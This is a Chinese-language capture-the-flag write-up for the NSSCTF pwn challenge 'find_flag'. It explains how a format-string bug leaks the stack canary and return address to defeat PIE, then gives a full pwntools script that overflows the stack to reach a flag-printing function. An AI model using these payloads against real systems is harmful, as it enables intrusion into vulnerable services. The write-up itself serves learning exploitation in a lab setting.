题目来源
https://www.nssctf.cn/problem/774
整体分析
通过strings查看程序,我们可以发现 "/bin/cat flag.txt"这样的字符串
ida反编译的核心代码如下:
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
return __readfsqword(0x28u) ^ v3;
}
我们发现有两处gets函数,以及一处典中典printf(str)
checksec一下:
[woc@evillage test]$ checksec --file=./find_flag
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 ./find_flag
有PIE和canary保护,这都对我们的栈溢出操作带来了麻烦
首先,对于canary保护,我们该如何绕开?我们知道canary的值来自于fs寄存器,存在于栈上,我们可以试着泄露其值;有些情况下可以劫持检查canary的函数,但这一题并不必要(毕竟有格式化漏洞)
那对于PIE保护,我们想到的自然是试着泄露程序基地址
格式化字符串漏洞研究
研究1(失败)
我先自己试着写了一个测试程序
#include<stdio.h>
int main(void){
char buf[8]="hello!";
printf("%p %p %p %p %p %p %p %p");
return 0;
}
使用gdb调试,在printf设置断点,
Breakpoint 1, 0x00007ffff7dfcbc8 in printf () from /usr/lib/libc.so.6
(gdb) info register
rax 0x0 0
rbx 0x7fffffffe398 140737488348056
rcx 0x555555557dd8 93824992247256
rdx 0x7fffffffe3a8 140737488348072
rsi 0x7fffffffe398 140737488348056
rdi 0x555555556004 93824992239620
rbp 0x7fffffffe250 0x7fffffffe250
rsp 0x7fffffffe250 0x7fffffffe250
r8 0x0 0
r9 0x7ffff7fcb200 140737353921024
r10 0x0 0
r11 0x7ffff7dfcbc0 140737352027072
r12 0x1 1
r13 0x0 0
r14 0x7ffff7ffd000 140737354125312
r15 0x555555557dd8 93824992247256
rip 0x7ffff7dfcbc8 0x7ffff7dfcbc8 <printf+8>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
fs_base 0x7ffff7da1740 140737351653184
gs_base 0x0 0
(gdb) c
Continuing.
0x7fffffffe398 0x7fffffffe3a8 0x555555557dd8 (nil) 0x7ffff7fcb200 0x216f6c6c6568 0xa4c995b5364b2500 0x7fffffffe310[Inferior 1 (process 14074) exited normally]
我发现输出的前三个值分别是%rsi, %rdx, %rcx的值,这不就是传递参数的第2、3、4个寄存器吗?或许第一个参数就是格式化字符串,这样的规律很难不让人浮想联翩,可是这样我陷入了疑惑:那要怎么泄露地址呢?
我试着将find_flag的第一个输入填入“%s”, 它却输出了这样的信息:
Nice to meet you, Nice to meet you, me? !
这是触发回响形态了?后面的Nice to meet you, me?是从哪里来的?很长一段时间都没有弄清楚
查阅资料
通过查阅资料,格式化字符串漏洞泄露的其实是栈上的信息(???所以我刚刚被寄存器带偏了?但我觉得这期间还是有一些联系的,不然为什么这么巧?后续再研究吧)
别人在演示的时候,输入的不仅仅是%p之类的字符串,还连带了一些具有辨识性的信息,如“AAAA%pAAAA”,方便确定在栈中的位置(我怎么没想到!?),
再温习以下这个程序的栈结构(栈中的结构是反过来的,v3在高地址,format在低地址)
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
通过反复实验,我发现find_flag在输出多个%p (也就是每次8字节的数据),总是在第6个字段开始泄露format的信息:
Hi! What's your name? AABB%p %p %p %p %p %p %p %p %p %p %p %p CCDD
Nice to meet you, AABB0x7fff66c20a60 0x2c 0xffffffffffffffd2 (nil) (nil) 0x2520702542424141 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa2144444343 0x1 CCDD!
为什么是第六个字段?或许和上面的那个“未解之谜”是同一个问题
我还通过翻阅别人的博客了解到,不用这么麻烦输出%p, 有一种 %n$p的方法,可以等效的输出第n个%p,我们只需要计算一下:栈上v3这个数据其实就是canary,那么前面有88个字节,也就是11个字段,再加上5个无效字段,我们就可以构造出这样的payload:5+11=16个无效字段+canary字段+rbp字段(也是无效的)+返回地址
也就是说,我们只需要写%17$p就能够知道canary的值
base泄露
下面我们需要做的就是泄露base了,那么程序里到底有什么和base有关呢?
- 我们能通过栈的位置来推出基地址吗? 很明显并不行
- 那么,是否存在一种关系,能够让我们通过程序中一些静态资源的地址推断出偏移地址呢?但似乎也不太行
- 我们从“力所能及”的角度出发,我们现在能够泄露栈上的数据,那么栈上有什么数据能够反映基地址呢?
到这里,已经很显然了,程序返回时时地址是在栈上的,我们只需要再输出第19个字段!
Hi! What's your name? %17$p %19$p
Nice to meet you, 0xf6070817ef405c00 0x5da34939b46f!
我们接着回到最基础的汇编,看看正常情况main函数会返回哪里?
当然,向后看我们只能找到一个'ret',我们需要的是向前看:看看main函数是从哪里开始的?
.............................
1320: 48 8d 3d 35 0e 00 00 lea 0xe35(%rip),%rdi # 215c <setvbuf@plt+0x102c>
1327: e8 94 fd ff ff call 10c0 <puts@plt>
132c: 90 nop
132d: 5d pop %rbp
132e: c3 ret
132f: f3 0f 1e fa endbr64
1333: 55 push %rbp
1334: 48 89 e5 mov %rsp,%rbp
1337: 48 83 ec 60 sub $0x60,%rsp
133b: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1342: 00 00
1344: 48 89 45 f8 mov %rax,-0x8(%rbp)
1348: 31 c0 xor %eax,%eax
134a: 48 8d 3d 25 0e 00 00 lea 0xe25(%rip),%rdi # 2176 <setvbuf@plt+0x1046>
1351: b8 00 00 00 00 mov $0x0,%eax
...........
好,是从132f开始的,那么哪里用到了call 132f呢?很容易找到是146a处,那么146a的下一条146f就是正常情况下应该返回的地址!它加上基地址之后,被压到了栈上。我们看看上面的数据:0x5da34939b46f , 有没有发现最后3位是一样的?这说明我们大概率是找对了!
exp脚本编写
最后我们需要做的,就是编写脚本了
新学习的知识:
int(num_str, 16)可以将一个字符串按16进制解释,返回十进制数字
p64, p32将十进制数字打包成二进制数据(存储的时候反过来,其实我们就直接打包将地址的数值即可)
cyclic(x),产生x个字节,用于填充
re.search必须对字符串操作,但是recv()返回的是二进制数据,需要我们decode转化,如retStr = retStr.decode("utf-8")
编写的最终脚本如下:
from pwn import *
from re import *
obj = remote('node4.anna.nssctf.cn',28286)
#obj = process('/test/find_flag')
ret1 = obj.recvuntil('name?')
print(ret1)
print('------------------')
expStr = '%17$p %19$p'
obj.sendline(expStr)
retStr = obj.recvline()
retStr = retStr.decode("utf-8")
print(retStr)
print('------------------')
formStr = '(0x[0-9a-fA-F]+)\\s(0x[0-9a-fA-F]+)'
match = search(formStr,retStr)
canary_str=match.group(1)
retPos_str=match.group(2)
print(canary_str)
print(retPos_str)
print('------------------')
canary = int(canary_str,16)
retPos = int(retPos_str,16)
objPos = retPos - int("146f",16) + int("1231",16)
canary_exp_data = p64(canary)
objPos_exp_data = p64(objPos)
line = cyclic(56) + canary_exp_data + cyclic(8) + objPos_exp_data
obj.sendline(line)
flag = obj.recvall(timeout=3)
print(flag)
中间有几个小插曲,起初我在所有的recv阶段用的都是recvall,最开始是没有指定timeout,导致程序一直卡住;第二个问题是在之后的sendline()阶段一直报错:EOFError,我参考了这篇资料:
https://blog.csdn.net/u010883831/article/details/124832061
原来recvall后会关掉连接?啊这。。。
最后也是得到了flag, 赢!
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。